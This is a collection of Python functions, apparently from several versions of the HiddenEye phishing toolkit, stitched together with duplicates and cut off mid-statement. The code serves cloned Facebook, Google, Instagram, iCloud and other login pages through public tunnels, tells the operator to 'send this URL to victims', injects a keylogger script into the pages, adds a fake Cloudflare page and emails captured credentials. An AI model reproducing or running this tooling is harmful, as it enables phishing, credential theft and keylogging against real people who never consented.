def captured_data_email_confirmation(port): import Defs.ActionManager.simple_informant as simple_informant choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}" .format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == "Y" or choice == "y": if path.isfile( "Defs/FeatureManager/EmailManager/emailconfig.py") == True: system("python3 Defs/FeatureManager/EmailManager/SendEmail.py") else: print( "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION." ) wait(2) simple_informant.exit_message(port) elif choice == "N" or choice == "n": simple_informant.exit_message(port) else: system("clear") print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( default_palette[0], default_palette[4], default_palette[2])) wait(1) system("clear") return captured_data_email_confirmation(port)
def random(port): run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # # ''') simple_informant.global_message() print(localization.lang_start_serveo["serveo_random_server"]) # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port)) run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', 'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") # print("-\n # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) except CalledProcessError: wait(4) run_command('clear') return random(port)
def captured_data_email_confirmation( port ): # Ask user to start sending credentials to recipient Email Address. choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}" .format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y' or choice == 'y': if path.isfile('Defs/Send_Email/emailconfig.py') == True: system('python3 Defs/Send_Email/SendEmail.py') else: print( '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.' ) wait(2) simple_informant.exit_message(port) elif choice == 'N' or choice == 'n': simple_informant.exit_message(port) else: system('clear') print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format( default_palette[0], default_palette[4], default_palette[2])) wait(1) system('clear') return captured_data_email_confirmation(port)
def start_localhostrun(port): print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) run_background_command( [ "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ServerAliveInterval=60", "-R", "80:localhost:{0}".format(port), "ssh.localhost.run", ], stdout=open('link.url', 'w'), stdin=DEVNULL, stderr=DEVNULL, start_new_session=True, ) wait(10) lines = check_output(['cat', 'link.url']).decode().split('\n') url = 'http://' + eval(lines[1])['domain'] print(localization.lang_start_localhostrun["localhostrun_server"]) print(localization.lang_start_localhostrun["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_localhostrun["localhostrun_url"] + url)
def random(port): run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[1], default_palette[2])) # run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port)) run_command([ 'Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url' ], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode('utf-8') print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" .format(default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: wait(4) run_command('clear') return random(port)
def captured_data_email_prompt(): run_command("clear") print("""{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0], default_palette[2])) print( "-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------" .format(default_palette[0], default_palette[4])) print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ". format(default_palette[0], default_palette[4])) print( "\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)" .format(default_palette[0], default_palette[4])) choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format( default_palette[0], default_palette[4], default_palette[2])).upper() if choice == "Y": print( "\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n" .format(default_palette[0], default_palette[4])) input("[.] Press Enter To Start Configuring Gmail Credential File...") captured_data_email_configuration_prompt() elif choice == "N": pass else: print("[^] ERROR: Please choose correct option to continue...") wait(1) captured_data_email_prompt()
def start_ngrok(port): ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml") pid = check_process("ngrok") for p in pid: kill(p, signal.SIGKILL) # continue run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_ngrok["ngrok_server"]) ngrok.connect(port=int(port))#TODO done while True: wait(2) ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def manage_url(port): run_command('rm output.txt > /dev/null 2>&1') run_command('openport -K && openport %s > output.txt &' % (port)) print( '{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.' .format(default_palette[0], default_palette[4])) wait( 20 ) # Sleep time is important as the openport command takes some time to give response link. run_command( 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt' ) # Taking out the neccesary verification link from output txt file of openport (above). print( '{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...' .format(default_palette[0], default_palette[4])) with open('openport.txt') as f: read_data = f.read() if 'openport.io/l/' in read_data: print('{0}[{1}*{0}] {1}Got Activation Link...'.format( default_palette[0], default_palette[4])) else: print( '{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... ' .format(default_palette[0], default_palette[4])) output = open('output.txt', 'r') output = output.read() print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format( default_palette[0], default_palette[4], output)) input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'. format(default_palette[0], default_palette[4])) server_menu.server_selection(port) urlFile = open('openport.txt', 'r') urltoverify = urlFile.read().strip() print( '{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n' .format(default_palette[0], default_palette[4])) print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format( default_palette[0], default_palette[4], urltoverify)) url = input( '\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '. format(default_palette[0], default_palette[4])) wait(4) run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------''' .format(default_palette[0], default_palette[4])) print( "\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n" .format(default_palette[0], default_palette[4], default_palette[3], port, url))
def custom(port): print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) print(localization. lang_start_serveo["make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo["insert_custom_subdomain"]) lnk = input(global_localization.input_line) run_background_command( [ "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ServerAliveInterval=60", "-o", "ServerAliveCountMax=60", "-R", "{0}:80:localhost:{1}".format(lnk, port), "serveo.net", ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) lnk += ".serveousercontent.com" wait(7) try: run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_serveo["serveo_url"] + lnk + default_palette[4]) print("\n") except CalledProcessError: print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization. lang_start_serveo["you_can_try_to_select_other_domain"]) wait(4) run_command("clear") return custom(port)
def start_pagekite(port): from Defs.ActionManager.simple_informant import credentials_collector run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) if 256 == run_command("which python2 > /dev/null"): print("[*] Python2 not Installed, Pagekite Only Supports Python2!!") input("\n Press Enter To Try installing Python2 Now..") run_command("apt install python2") if 256 == run_command("which python2 > /dev/null"): run_command("clear") print( "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}" .format(default_palette[0], default_palette[4])) wait(2) server_selection(port) else: pass else: try: subdomain = input( "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}" .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}" .format(default_palette[0], default_palette[4])) input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}". format(default_palette[0], default_palette[4])) run_command( "python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me" .format(port, subdomain)) except KeyboardInterrupt: print("[!] Please Copy the Generated Link For Further Use") credentials_collector(port)
def start_localtunnel(port, npm): run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}". format(default_palette[0], default_palette[2])) print( "\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL" .format(default_palette[0], default_palette[2])) s = input("\n{0}(Localtunnel/Subdomain)> {1}".format( default_palette[0], default_palette[2])) try: run_command("{0}lt -p ".format("" if npm else "Server/") + port + ((" -s " + s) if s != "" else s) + " > link.url &") wait(3) run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}" .format( default_palette[0], default_palette[2], default_palette[3], port, str( check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r"), )) except CalledProcessError: run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print("{0}error[invalid/preoccupied]{0}".format(default_palette[0])) start_localtunnel(port, npm)
def start_ngrok(port): ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml" # ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input # later pid = check_process("ngrok") for p in pid: kill(p, signal.SIGKILL) # continue run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_ngrok["ngrok_server"]) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) # chmod('Server', 0o777) # run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, # stderr=DEVNULL) ngrok.connect(port=int(port)) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE while True: wait(2) # urlFile = open('link.url', 'w') # run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced # urlFile = open('link.url', 'r') # url = urlFile.read() ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url # urlFile.close() if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: # print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} NGROK URL: {2}".format( # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def add_cloudfare(): #run_command('mv Server/www/index.* Server/www/home.php & # & cp WebPages/cloudfare.html Server/www/index.html') chmod('Server', 0o777) chmod('Server/www', 0o777) try: replace('Server/www/index.php', 'Server/www/home.php') except: replace('Server/www/index.html', 'Server/www/home.php') else: print('Unable to find index file, skipping...') return copyfile('WebPages/cloudflare.html', 'Server/www/index.html') print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4])) wait(1)
def add_cloudflare_prompt(): run_command('clear') print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4])) choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper() if choice == 'Y': add_cloudfare() else: wait(1)
def add_keylogger_prompt(): run_command('clear') print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4])) print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4])) choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y': add_keylogger() else: wait(1)
def custom(port): print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)''' .format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( default_palette[0], default_palette[2])) run_command( './Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) wait(7) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}" .format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: print( '''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n''' .format(default_palette[0], default_palette[4])) wait(4) run_command('clear') return custom(port)
def add_keylogger(): if path.exists('Server/www/index.html'): with open('Server/www/index.html') as f: read_data = f.read() c = read_data.replace( '</title>', '</title><script src="keylogger.js"></script>') f = open('Server/www/index.html', 'w') f.write(c) f.close() print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) wait(2) else: with open('Server/www/index.php') as f: read_data = f.read() c = read_data.replace( '</title>', '</title><script src="keylogger.js"></script>') f = open('Server/www/index.php', 'w') f.write(c) f.close() print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4])) wait(2)
def start_ngrok(port): ngrok.DEFAULT_CONFIG_PATH = path.join(".config/ngrok.yml") run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') simple_informant.global_message() print(localization.lang_start_ngrok["ngrok_server"]) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) ##chmod('Server', 0o777) ##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) ngrok.connect(port) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE while True: wait(2) # urlFile = open('link.url', 'w') # run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced # urlFile = open('link.url', 'r') # url = urlFile.read() ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url # urlFile.close() if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: # print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} NGROK URL: {2}".format( # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def random(port): run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_rand_localxpose["localxpose_random_server"]) run_command( [ "External_Software/loclx", "tunnel", "http", "--to", ":{0}".format(port), ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" .format( default_palette[0], default_palette[4], default_palette[3], port, url, ) + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: wait(4) run_command("clear") return random(port)
def random(port): run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_random_server"]) run_command( [ "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ServerAliveInterval=60", "-R", "localhost:{0}".format(port), "serveo.net", ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) wait(8) try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) except CalledProcessError: wait(4) run_command("clear") return random(port)
def custom(port): # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n # \n # \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2])) simple_informant.global_message() print(localization.lang_start_serveo["serveo_custom_server"]) print(localization. lang_start_serveo["make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo["insert_custom_subdomain"]) lnk = input(global_localization.input_line) if not ".serveo.net" in lnk: lnk += ".serveo.net" else: pass # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port)) run_command([ 'ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', '-R', '{0}:80:localhost:{1}'.format( lnk, port), 'serveo.net', '>', 'link.url' ], stdout=DEVNULL, stderr=DEVNULL) wait(7) try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0} # \n-------------------------------'''.format(default_palette[0], default_palette[2])) simple_informant.global_message() print(localization.lang_start_serveo["serveo_custom_server"]) # print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS- # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) print("\n") except CalledProcessError: # print('''\n !!!\n # !!!\n # !! \n''') print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization. lang_start_serveo["you_can_try_to_select_other_domain"]) wait(4) run_command('clear') return custom(port)
def start_phishing_page(page, custom_option): # Phishing pages selection menu #chmod('Server', 777) run_command(['chmod', '-R', '777', 'Server']) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir('Server/www') #chmod('Server/www', 777) pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/ip.txt').touch() copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile('WebPages/KeyloggerData.txt', 'Server/www/KeyloggerData.txt') copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js') copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php') try: remove('link.url') except: pass if custom_option == '1' and page == 'Facebook': webpage_set("WebPages/fb_standard/", "Server/www/") elif custom_option == '2' and page == 'Facebook': webpage_set("WebPages/fb_advanced_poll/", "Server/www/") elif custom_option == '3' and page == 'Facebook': webpage_set("WebPages/fb_security_fake/", "Server/www/") elif custom_option == '4' and page == 'Facebook': webpage_set("WebPages/fb_messenger/", "Server/www/") elif custom_option == '1' and page == 'Google': webpage_set("WebPages/google_standard/", "Server/www/") elif custom_option == '2' and page == 'Google': webpage_set("WebPages/google_advanced_poll/", "Server/www/") elif custom_option == '3' and page == 'Google': webpage_set("WebPages/google_advanced_web/", "Server/www/") elif page == 'LinkedIn': webpage_set("WebPages/linkedin/", "Server/www/") elif page == 'GitHub': webpage_set("WebPages/GitHub/", "Server/www/") elif page == 'StackOverflow': webpage_set("WebPages/stackoverflow/", "Server/www/") elif page == 'WordPress': webpage_set("WebPages/wordpress/", "Server/www/") elif page == 'Twitter': webpage_set("WebPages/twitter/", "Server/www/") elif page == 'Snapchat': webpage_set("WebPages/Snapchat_web/", "Server/www/") elif page == 'Yahoo': webpage_set("WebPages/yahoo_web/", "Server/www/") elif page == 'Twitch': webpage_set("WebPages/twitch/", "Server/www/") elif page == 'Microsoft': webpage_set("WebPages/live_web/", "Server/www/") elif page == 'Steam': webpage_set("WebPages/steam/", "Server/www/") elif page == 'iCloud': webpage_set("WebPages/iCloud/", "Server/www/") elif custom_option == '1' and page == 'Instagram': webpage_set("WebPages/Instagram_web/", "Server/www/") elif custom_option == '2' and page == 'Instagram': webpage_set("WebPages/Instagram_autoliker/", "Server/www/") elif custom_option == '3' and page == 